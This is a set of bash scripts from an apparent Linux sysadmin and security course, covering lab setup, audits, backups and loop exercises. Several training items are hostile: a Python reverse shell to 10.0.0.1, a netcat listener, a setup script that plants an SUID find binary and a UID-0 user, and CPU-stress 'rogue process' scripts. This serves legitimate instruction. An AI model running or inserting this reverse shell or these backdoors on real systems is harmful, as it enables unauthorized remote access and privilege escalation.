1. **day2_instr_setup.sh**

```
#!/usr/bin/env bash

# Check for root access
if [ "$EUID" -ne 0 ]
then
   echo "Please run this script with sudo"
   exit
fi

# Check for or create instructor research directory
[ ! -d /home/instructor/research ] && mkdir /home/instructor/research
[ ! -d /home/sysadmin/research ] && mkdir /home/sysadmin/research

# Copy needed files from instructor archive
cp -r /home/instructor/Documents/research/* /home/instructor/research
cp -r /home/instructor/Documents/research/* /home/sysadmin/research
echo "copied files to ~/research directory"

# Correct permissions and ownership on instructor research directory
chown -R instructor:instructor /home/instructor/research/
chmod -R 0744 /home/instructor/research/
echo "corrected permissions on ~/research directory and files"

# Correct ownership and permissions on the sysadmin research directory
chown -R sysadmin:sysadmin /home/sysadmin/research/
chmod -R 0744 /home/sysadmin/research/
echo "corrected permissions on the sysadmin/research directory"
```

```
# Copy over the motd file
cp /home/instructor/research/motd /etc/
echo "copied motd file into /etc"

# Install needed packages
apt -y install john chkrootkit lynis &> /dev/null
echo "installed john checkrootkit and lynis"
```

2. **day2_student_setup.sh**

```
#!/usr/bin/env bash

# Check for root access
if [ "$EUID" -ne 0 ]
then
  echo "Please run this script with sudo"
  exit
fi

# Check for or create sysadmin research directory
[ ! -d /home/sysadmin/research ] && mkdir /home/sysadmin/research
echo "created ~/research directory"

# Copy files from instructor archive user to sysadmin research directory
cp -R /home/instructor/Documents/research/* /home/sysadmin/research
echo "copied needed files to ~/research"

# Correct ownership and permissions on the sysadmin research directory
chown -R sysadmin:sysadmin /home/sysadmin/research/
chmod -R 0744 /home/sysadmin/research/
echo "set owner and permissions"

# Copy over the motd file
cp /home/instructor/research/motd /etc/

# Install needed packages
apt -y install john chkrootkit lynis &> /dev/null

echo "Completed setup for day 2"
```

3. **day3_stu_setup.sh**

```
#!/usr/bin/env bash

# Check for root access
if [ "$EUID" -ne 0 ]
then
   echo "Please run this script with sudo"
   exit
fi

# Change apache2 port
sed -i 's~\<Listen 80\>~Listen 8080~g' /etc/apache2/ports.conf

# Start needed processes
systemctl start vsftpd xinetd dovecot apache2 smbd

# Set SUID bit for the `find` command
chmod u+s $(which find)

# Set user with erroneous UID
sed -i 's~^adam:x:.*~adam:x:0:0:/home/adam:/bin/sh~g' /etc/passwd

echo "Completed setup for day 3"
```

4. **landmarks_demo.sh**

```
#!/usr/bin/env bash

# Check for root access
if [ "$EUID" -ne 0 ]
then
   echo "Please run this script with sudo"
   exit
fi

#Remove Student files
rm /user.hashes
rm /tmp/str.sh

#Add teacher demo files
cp ~/Documents/demo_scripts/rev_shell.sh /tmp
cp ~/Documents/demo_scripts/listen.sh /tmp
cp ~/Documents/demo_scripts/a9xk.sh /tmp
```

5. **landmarks_review.sh**

```
#!/usr/bin/env bash

# Check for root access
if [ "$EUID" -ne 0 ]
then
   echo "Please run this script with sudo"
   exit
fi

#Replace Student files
cp ~/Documents/day_one_resources/user.hashes /
cp ~/Documents/day_one_resources/str.sh /tmp

#Remove teacher demo files
rm /tmp/rev_shell.sh /tmp
rm /tmp/listen.sh
rm /tmp/a9xk.sh

# Change ownership and permissions of these scripts to the `jack` user
chown -R jack:jack /user.hashes /tmp/str.sh
chmod -R 0644 /tmp/str.sh /user.hashes
```

6. processes.sh

```
#!/usr/bin/env bash

# Check for root access
if [ "$EUID" -ne 0 ]
then
   echo "Please run this script with sudo"
   exit
fi

# Start str.sh script from user jack
sudo -u jack /home/instructor/Documents/student_scripts/str.sh
```

7. **a9xk.sh**

```
#!/bin/bash
sudo stress --cpu  8 --vm 1 --io 3 --vm-bytes 256 2> /dev/null &
```

8. **listen.sh**

```
#/bin/bash
nc -lvp 4444 > /tmp/rev_shell.sh &
renice -n 1 $(pidof nc)
```

9. **str.sh**

```
#!/usr/bin/env bash
stress-ng --matrix 0 --times
yes
```

10. **backup.sh**

```
#!/bin/bash

# Create /var/backup if it doesn't exist
mkdir -p /var/backup

# Create new /var/backup/home.tar
tar cvf /var/backup/home.tar /home

# Moves the file `/var/backup/home.tar` to `/var/backup/home.MMDDYYYY.tar`.
mv /var/backup/home.tar /var/backup/home.01012020.tar

# Creates an archive of `/home`and saves it to `/var/backup/home.tar`.
tar cvf /var/backup/system.tar /home

# List all files in `/var/backup`, including file sizes, and save the output to `/var/backup/file_report.txt`.
ls -lh /var/backup > /var/backup/file_report.txt

# Print how much free memory your machine has left. Save this to a file called
`/var/backup/disk_report.txt`.
free -h > /var/backup/disk_report.txt
```

11. **cleanup.sh**

```
#!/bin/bash

# Clean up temp directories
rm -rf /tmp/*
```

```
rm -rf /var/tmp/*

# Clear apt cache
apt clean -y

# Clear thumbnail cache for sysadmin, instructor, and student
rm -rf /home/sysadmin/.cache/thumbnails
rm -rf /home/instructor/.cache/thumbnails
rm -rf /home/student/.cache/thumbnails
rm -rf /root/.cache/thumbnails
```

12. **update.sh**

```
#!/bin/bash

# Ensure apt has all available updates
apt update -y

# Upgrade all installed packages
apt upgrade -y

# Install new packages, and uninstall any old packages that
# must be removed to install them
apt full-upgrade -y

# Remove unused packages and their associated configuration files
apt autoremove --purge -y

# Bonus - Perform with a single line of code.
apt update -y && apt upgrade -y && apt full-upgrade -y && apt-get autoremove --purge -y
```

13. **lynis.partial.sh**

```
#!/bin/bash

lynis audit --tests-from-group malware,authentication,networking,storage,filesystems >>
/tmp/lynis.partial_scan.log
```

14. **lynis.system.sh**

```
#!/bin/bash

lynis audit system >> /tmp/lynis.system_scan.log
```

15. **sys_info.sh**

```
#!/bin/bash

mkdir ~/research 2>/dev/null

echo "A Quick System Audit Script" >~/research/sys_info.txt
date >>~/research/sys_info.txt
echo "" >>~/research/sys_info.txt
echo "Machine Type Info:" >>~/research/sys_info.txt
echo $MACHTYPE >>~/research/sys_info.txt
echo -e "Uname info: $(uname -a) \n" >>~/research/sys_info.txt
echo -e "IP Info: $(ip addr | grep inet | tail -2 | head -1) \n" >>~/research/sys_info.txt
echo -e "Hostname: $(hostname -s) \n" >>~/research/sys_info.txt
echo "DNS Servers: " >>~/research/sys_info.txt
cat /etc/resolv.conf >>~/research/sys_info.txt
echo -e "\nMemory Info:" >>~/research/sys_info.txt
free >>~/research/sys_info.txt
echo -e "\nCPU Info:" >>~/research/sys_info.txt
lscpu | grep CPU >>~/research/sys_info.txt
echo -e "\nDisk Usage:" >>~/research/sys_info.txt
df -H | head -2 >>~/research/sys_info.txt
echo -e "\nWho is logged in: \n $(who -a) \n" >>~/research/sys_info.txt
echo -e "\nExec Files:" >>~/research/sys_info.txt
find /home -type f -perm 777 >>~/research/sys_info.txt
echo -e "\nTop 10 Processes" >>~/research/sys_info.txt
ps aux -m | awk {'print $1, $2, $3, $4, $11'} | head >>~/research/sys_info.txt
```

16. **if_exit.sh**

```
#!/bin/bash
# Basic if statement

# if [ <condition> ]
# then
#   <run_this_command>
#   <run_this_command>
#   <run_this_command>
# fi

# if [ <condition> ]
# then
#   <run_this_command>
# else
#   <run_this_command>
# fi
```

```
# if [ <condition1> ] && [ <condition2> ]
# then
#   <run_this_command>
# else
#   <run_this_command>
# fi

# if [ <condition1> ] || [ <condition2> ]
# then
#   <run_this_command>
#   <run_this_command>
#   <run_this_command>
# fi

# number variables
x=5
y=100

# string variables
str1='this is a string'
str2='this is different string'

# If $x is equal to $y, run the echo command.
if [ $x = $y ]
then
  echo "X is equal to Y!"
fi

# If x is not equal to y, exit the script
if [ $x != $y ]
then
  echo "X does not equal Y"
fi

# If str1 is not equal to str2, run the echo command and exit the script.
if [ $str1 != $str2 ]
then
  echo "These strings do not match."
  echo "Exiting this script."
  exit
fi

# If x is greater than y, run the echo command - only works for integer values
if [ $x -gt $y ]
```

```
then
  echo "$x is greater than $y".
fi

# check if x is less than y - only works for integer values
if [ $x -lt $y ]
then
  echo "$x is less than $y!"
else
  echo "$x is not less than $y!"
fi

# check if $str1 is equal to 'this string' AND $x is greater than $y
# only works if x and y are integers
if [ $str1 = 'this string' ] && [ $x -gt $y ]
then
  echo "Those strings match and $x is greater than $y!"
else
  echo "Either those strings don't match, or $x is not greater than $y"
fi

# check if $str1 is equal to str2 OR $x is less than $y
# only works if x and y are integers
if [ $str1 != $str2 ] || [ $x -lt $y ]
then
  echo "Either those strings don't match OR $x is less than $y!"
else
  echo "Those strings match, AND $x is not less than $y"
fi

# check for the /etc directory
if [ -d /etc ]
then
  echo "The /etc directory exists!"
fi

# check for my_cool_folder
if [ ! -d /my_cool_folder ]
then
  echo "my_cool_folder isn\'t there!"
fi

# check for my_file.txt
if [ -f /my_file.txt ]
```

```
then
  echo "my_file.txt is there"
fi

# if sysadmin is running this script, then run an echo command
if [ $USER != 'sysadmin' ]
then
  echo "You are not the sysadmin!"
  exit
fi

# if the uid of the user running this script does not equal 1000, run the echo command
if [ $UID -ne 1000 ]
then
  echo "Your UID is wrong"
  exit
fi

# if sysadmin is running this script, run the echo command
if [ $(whoami) = 'sysadmin' ]
then
  echo "You are sysadmin!"
fi
```

17. **sys_info.sh**

```
#!/bin/bash

#Check if script was run as root. Exit if true.
if [ $UID -eq 0 ]; then
  echo "Please do not run this script as root."
  exit
fi

# Define Variables
output=$HOME/research/sys_info.txt
ip=$(ip addr | grep inet | tail -2 | head -1)
execs=$(sudo find /home -type f -perm 777 2>/dev/null)

# Check for research directory. Create it if needed.
if [ ! -d $HOME/research ]; then
  mkdir $HOME/research
fi

# Check for output file. Clear it if needed.
```

```
if [ -f $output ]; then
  rm $output
fi

echo "A Quick System Audit Script" >>$output
date >>$output
echo "" >>$output
echo "Machine Type Info:" >>$output
echo -e "$MACHTYPE \n" >>$output
echo -e "Uname info: $(uname -a) \n" >>$output
echo -e "IP Info:" >>$output
echo -e "$ip \n" >>$output
echo -e "Hostname: $(hostname -s) \n" >>$output
echo "DNS Servers: " >>$output
cat /etc/resolv.conf >>$output
echo -e "\nMemory Info:" >>$output
free >>$output
echo -e "\nCPU Info:" >>$output
lscpu | grep CPU >>$output
echo -e "\nDisk Usage:" >>$output
df -H | head -2 >>$output
echo -e "\nWho is logged in: \n $(who -a) \n" >>$output
echo -e "\nexec Files:" >>$output
echo $execs >>$output
echo -e "\nTop 10 Processes" >>$output
ps aux --sort -%mem | awk {'print $1, $2, $3, $4, $11'} | head >>$output
```

18. **ins_for_loops.sh**

```
#!/bin/bash

# for <item> in <list>
# do
#   <run_this_command>
#   <run_this_command>
# done


# list variables
months=(
   'january'
   'february'
   'march'
   'april'
   'may'
```

```
  'june'
  'july'
  'august'
  'september'
  'october'
  'november'
  'december'
)
days=('mon' 'tues' 'wed' 'thur' 'fri' 'sat' 'sun')

# create for loops

#print out months
for month in ${months[@]}
do
  echo $month
done

#print out the days of the week
for day in ${days[@]}
do
  if [ $day = 'sun' ] || [ $day = 'sat' ]
  then
    echo "It is the weekend! Take it easy."
  else
    echo "It is a weekday! Get to work!"
  fi
done

# run a command on each file
for file in $(ls)
do
  ls -lah $file
done

# dislay the number if it's a 1 or 4
for num in {0..5}
do
  if [ $num = 1 ] || [ $num = 4 ]
  echo $num
done
```

19. **for_loops.sh**

```
#!/bin/bash

# Create Variables
nums=$(echo {0..9})
states=('Nebraska' 'California' 'Texas' 'Hawaii' 'Washington')
ls_out=$(ls)

execs=$(find /home -type f -perm 777 2>/dev/null)

# Create For Loops
# Create a loop that prints only 3, 5 and 7
for num in ${nums[@]}; do
  if [ $num = 3 ] || [ $num = 5 ] || [ $num = 7 ]; then
    echo $num
  fi
done

# Create a loop that looks for 'Hawaii'
for state in ${states[@]}; do
  if [ $state == 'Hawaii' ]; then
    echo "Hawaii is the best!"
  else
    echo "I'm not a fan of Hawaii."
  fi
done

# Create a `for` loop that prints out each item in your variable that holds the output of the `ls`
command.
for x in ${ls_out[@]}; do
  echo $x
done

# Bonus
# Create a for loop to print out execs on one line for each entry
for exec in ${execs[@]}; do
  echo $exec

done
```

20. **useful_loops.sh**

```
#!/bin/bash

# Define packages list
packages=(
```

```
  'nano'
  'wget'
  'net-tools'
)

# loop though the list of packages and show if they are installed
for package in ${packages[@]};
do
  if [ $(which $package) ]
  then
    echo "$package is installed at $(which $package)."
  else
    echo "$package is not installed."
  fi
done


# Search each user's home directory for scripts and provide a formatted output.
for user in $(ls /home);
do
  for item in $(find /home/$user -iname '*.sh');
  do
    echo -e "Found a script in $user's home folder! \n$item"
  done
done


# loop through scripts in the scripts folder and change the permissions to execute
for script in $(ls ~/scripts);
do
  if [ ! -x ~/scripts/$script ]
  then
    chmod +x ~/scripts/$script
  fi
done


# loop through a group of files and create a hash of each file.
# we assume files_for_hashing/ exists and contains at least one file
for file in $(ls ~/Documents/files_for_hashing/);
do
  sha256sum $file
done
```

21. **sys_info_2.sh**

```
#!/bin/bash

#Check if script was run as root. Exit if false.
if [ $UID -ne 0 ]; then
  echo "Please run this script as root."
  exit
fi

# Define Variables
output=$HOME/research/sys_info.txt
ip=$(ip addr | grep inet | tail -2 | head -1)
execs=$(sudo find /home -type f -perm 777 2>/dev/null)
cpu=$(lscpu | grep CPU)
disk=$(df -H | head -2)

# Define Lists to use later
commands=(
  'date'
  'uname -a'
  'hostname -s'
)

files=(
  '/etc/passwd'
  '/etc/shadow'
)

#Check for research directory. Create it if needed.
if [ ! -d $HOME/research ]; then
  mkdir $HOME/research
fi

# Check for output file. Clear it if needed.
if [ -f $output ]; then
  >$output
fi

#######################################################
#Start Script

echo "A Quick System Audit Script" >>$output
echo "" >>$output
```

```
for x in {0..2}; do
  results=$(${commands[$x]})
  echo "Results of "${commands[$x]}" command:" >>$output
  echo $results >>$output
  echo "" >>$output
done

# Display Machine type
echo "Machine Type Info:" >>$output
echo -e "$MACHTYPE \n" >>$output

# Display IP Address info
echo -e "IP Info:" >>$output
echo -e "$ip \n" >>$output

# Display Memory usage
echo -e "\nMemory Info:" >>$output
free >>$output

#Display CPU usage
echo -e "\nCPU Info:" >>$output
lscpu | grep CPU >>$output

# Display Disk usage
echo -e "\nDisk Usage:" >>$output
df -H | head -2 >>$output

#Display who is logged in
echo -e "\nCurrent user login information: \n $(who -a) \n" >>$output

# Display DNS Info
echo "DNS Servers: " >>$output
cat /etc/resolv.conf >>$output

# List exec files
echo -e "\nexec Files:" >>$output
for exec in $execs; do
  echo $exec >>$output
done

# List top 10 processes
echo -e "\nTop 10 Processes" >>$output
ps aux --sort -%mem | awk {'print $1, $2, $3, $4, $11'} | head >>$output
```

```
# Check the permissions on files
echo -e "\nThe permissions for sensitive /etc files: \n" >>$output
for file in ${files[@]}; do
  ls -l $file >>$output
done
```

22. **arguments.sh**

```
#!/bin/bash
# Quick setup script for new server.
#
# Check for an output file
if [ ! $1 ]
then
   echo "Please specify an output file."
   exit
fi

# Make sure the script is run as root.
if [ ! $UID = 0 ]
then
  echo "Please run this script as root."
  exit
fi

# Log file header
echo "Log file for general server setup script." >> $1
echo "##############################" >> $1
echo "Log generated on: $(date)" >> $1
echo "##############################" >> $1
echo "" >> $1

# List of packages needed on the System
packages=(
  'nano'
  'wget'
  'net-tools'
  'python'
  'tripwire'
  'tree'
  'curl'
)

# Check for installed packages. If they are not installed, install them.
for package in ${packages[@]};
```

```
do
  if [ ! $(which $package) ];
  then
    apt install -y $package
  fi
done

# Print it out and Log it
echo "$(date) Installed needed pacakges: ${packages[@]}" | tee -a $1

# Create a sysadmin user with no password (password to be created upon login)
useradd sysadmin
chage -d 0 sysadmin

# Add sysadmin user to the `sudo` group
usermod -aG sudo sysadmin

# Print it out and Log it
echo "$(date) Created sys_admin user. Password to be created upon login" | tee -a $1

# Remove roots login shell and lock the root account.
usermod -s /sbin/nologin root
usermod -L root

# Print it out and Log it
echo "$(date) Disabled root shell. Root user cannot login." | tee -a $1

# Change permissions on sensitive files
chmod 600 /etc/shadow
chmod 600 /etc/gshadow
chmod 644 /etc/group
chmod 644 /etc/passwd

# Print it out and Log it
echo "$(date) Changed permissions on sensitive /etc files." | tee -a $1

scripts=/home/sysadmin/scripts
# Setup scripts folder
if [ ! -d $scripts ];
then
  mkdir $scripts
  chown sysadmin:sysadmin $scripts
fi
```

```
bashrc=/home/sysadmin/.bashrc
# Add scripts to .bashrc
echo "" >> $bashrc
echo "PATH=$PATH:$scripts" >> $bashrc
echo "" >> $bashrc

# Print it out and Log it
echo "$(date) Added ~/scripts directory to sysadmin's PATH." | tee -a $1

# Add custom aliases to $bashrc
cat >> /home/sysadmin/.bashrc << END
Custom Aliases
alias reload='source ~/.bashrc && echo Bash config reloaded'
alias lsa='ls -a'
alias docs='cd ~/Documents'
alias dwn='cd ~/Downloads'
alias etc='cd /etc'
alias rc='nano ~/.bashrc'
END

# Print it out and Log it
echo "$(date) Added custom alias collection to sysadmin's bashrc." | tee -a $1

#Print out and log Exit
echo "$(date) Script Finished. Exiting." | tee -a $1

exit
```

23. **listen.sh**

```
#/bin/bash


nc -lvp 4444 > /tmp/rev_shell.sh &

renice -n 1 $(pidof nc)
```

24. **rev_shell.sh**

```
#!/bin/bash
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREA
M);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

25.